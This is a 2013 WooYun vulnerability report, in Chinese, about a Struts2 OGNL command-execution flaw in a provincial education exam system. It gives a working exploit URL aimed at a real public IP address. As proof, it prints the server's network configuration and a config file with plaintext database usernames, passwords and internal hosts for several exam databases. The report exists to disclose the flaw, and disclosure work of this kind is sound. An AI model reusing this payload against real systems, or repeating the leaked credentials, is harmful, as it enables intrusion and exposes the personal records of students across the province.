漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-033415
漏洞标题：某省某系统侧漏（涉及全省个人隐私信息）
相关厂商：某省某单位
漏洞作者： 曹操
提交时间：2013-08-03 23:07
修复时间：2013-09-17 23:07
公开时间：2013-09-17 23:07
漏洞类型：命令执行
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-08-03： 细节已通知厂商并且等待厂商处理中
2013-08-06： 厂商已经确认，细节仅向厂商公开
2013-08-16： 细节向核心白帽子及相关领域专家公开
2013-08-26： 细节向普通白帽子公开
2013-09-05： 细节向实习白帽子公开
2013-09-17： 细节向公众公开
简要描述：
由于漏洞相对容易查找，故没有写明标题，请管理人员避免标题侧漏！
同时求雷劈
详细说明：
侧漏点：宁夏教育考试系统，涉及全自治区教育考试等信息
http://61.133.219.10/exam/adult/Regist.do?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
发现漏洞马上提交，数据我没有动
漏洞证明：
以太网适配器 本地连接 3:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::b079:b036:6599:d5e6%15
IPv4 地址 . . . . . . . . . . . . : 172.16.1.101
子网掩码 . . . . . . . . . . . . : 255.255.255.255
默认网关. . . . . . . . . . . . . :
以太网适配器 本地连接 2:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::893b:df7a:4ae:1e46%10
IPv4 地址 . . . . . . . . . . . . : 192.168.111.8
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.111.254
#数据库地址
db.source=192.168.31.11:1521
#管理库sid
db.admin=nxksy01
#管理库用户名
db.admin.user=dev
#管理库密码
db.admin.pwd=x89b11b23_xcr
#普高库sid
db.common=nxksy01
#普高库用户名
db.common.user=dev_common
#普高库密码
db.common.pwd=x89b11b23_xcr
#成考库sid
db.adult=nxksy01
#成考库用户名
db.adult.user=dev_adult
#成考库密码
db.adult.pwd=yxn6306@xqq
#网上办公sid
db.oa=nxksy01
#网上办公库用户名
db.oa.user=dev_oa
#网上办公库密码
db.oa.pwd=yxn6306@xqq
#会考库sid
db.senior=nxksy01
#会考库用户名
db.senior.user=dev_senior
#会考库密码
db.senior.pwd=yxn6306@xqq
#自考库sid
db.self=nxksy01
#自考库用户名
db.self.user=dev_self
#自考库密码
db.self.pwd=yxn6306@xqq
#专升本sid
db.zsb=nxksy01
#专升本用户名
db.zsb.user=dev_zsb
#专升本密码
db.zsb.pwd=yxn6306@xqq
#cache服务器
cache.servers=192.168.111.1:6011,192.168.111.1:6012,192.168.111.1:6013,192.168.111.1:6014,192.168.111.2:6011,192.168.111.2:6012,192.168.111.2:6013,192.168.111.2:6014,192.168.111.3:6011,192.168.111.3:6012,192.168.111.3:6013,192.168.111.3:6014
#是否上报
common.report=false
#是否使用ssl
system.ssl=false
#是否进行系统测试
system.test=false
#文件服务器地址
file.server=192.168.111.1:6101
#学校代码长度
schoolcode.length=4
classcode.length=4
#服务名称
senior.service.name=seniorExam
#自考考生段报考treeId
self.student.exam.tree.id=1054
#数据库地址
db.source=192.168.31.11:1521
#管理库sid
db.admin=nxksy01
#管理库用户名
db.admin.user=dev_senior_admin
#管理库密码
db.admin.pwd=yxn6306@xqq
#普高库sid
db.common=nxksy01
#普高库用户名
db.common.user=dev_common
#普高库密码
db.common.pwd=x89b11b23_xcr
#成考库sid
db.adult=nxksy01
#成考库用户名
db.adult.user=dev_adult
#成考库密码
db.adult.pwd=yxn6306@xqq
#网上办公sid
db.oa=nxksy01
#网上办公库用户名
db.oa.user=dev_oa
#网上办公库密码
db.oa.pwd=yxn6306@xqq
#会考库sid
db.senior=nxksy01
#会考库用户名
db.senior.user=dev_senior
#会考库密码
db.senior.pwd=yxn6306@xqq
#自考库sid
db.self=nxksy01
#自考库用户名
db.self.user=dev_self
#自考库密码
db.self.pwd=yxn6306@xqq
#专升本sid
db.zsb=nxksy01
#专升本用户名
db.zsb.user=dev_zsb
#专升本密码
db.zsb.pwd=yxn6306@xqq
#cache服务器
cache.servers=192.168.111.1:6011,192.168.111.1:6012,192.168.111.1:6013,192.168.111.1:6014,192.168.111.2:6011,192.168.111.2:6012,192.168.111.2:6013,192.168.111.2:6014,192.168.111.3:6011,192.168.111.3:6012,192.168.111.3:6013,192.168.111.3:6014
#是否上报
common.report=false
#是否使用ssl
system.ssl=false
#是否进行系统测试
system.test=false
#文件服务器地址
file.server=192.168.111.1:6101
#学校代码长度
schoolcode.length=4
classcode.length=4
#服务名称
senior.service.name=seniorExam
#自考考生段报考treeId
self.student.exam.tree.id=1054
修复方案：
最新struts2补丁
版权声明：转载请注明来源 曹操@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2013-08-06 22:47
厂商回复：
最新状态：
暂无